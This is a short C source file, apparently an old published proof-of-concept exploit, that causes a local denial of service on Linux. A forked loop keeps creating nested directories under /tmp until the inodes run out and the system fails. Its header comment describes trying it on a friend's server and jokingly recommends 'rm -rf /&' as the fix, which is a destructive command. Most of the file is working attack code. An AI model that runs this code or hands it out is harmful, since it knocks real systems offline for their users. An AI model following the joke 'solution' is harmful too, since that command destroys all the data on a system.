/* 01-07-02 simple local DoS exploit for Linux Discovered By: miyamin and ntfx Legion2000SR http://legion2000.security.nu Tested on: Linux Slackware 7.1 Kernel 2.2.21 I found this accidentally while trying to create a condition on a friends linux server. About 1 or 2 minutes after it started, all the commands started to fail, the box was behaving as if someone had chmod -R 700 / as root. The result of using up all the inodes. After the commands stopped working the box become more and more lagged until the services were dead completely. Fun. Solution: 1. rm -rf /& 2. install bsd or maybe setting quotas might help, but the above method is preferred. mimayin@inbox.lv */ #include #include #include #include void banner() { printf("\nfucklinux.c: Linux local DoS proof-of-concept exploit, use on your own system only.\n"); printf(" Tested on: Slackware 7.1 kernel 2.2.21\n"); printf(" Author: mimayin@inbox.lv\n\n"); } int main() { mode_t mo = S_IRWXU | S_IRWXG | S_IRWXO; char one[256]; char two[256]; char ma[]="\x2e\x2c"; banner(); memset(one,0x41,255); memset(two,0x42,255); one[255]=0;two[255]=0; chdir("/tmp"); mkdir(ma,mo); chmod(ma,mo); chdir(ma); printf("Kiss your terminal goodbye...\n"); if(fork()==0) { while(1) { mkdir(one,mo); chmod(one,mo); chdir(one); mkdir(two,mo); chmod(two,mo); chdir(two); sleep(15); } } printf("\n"); return 0; }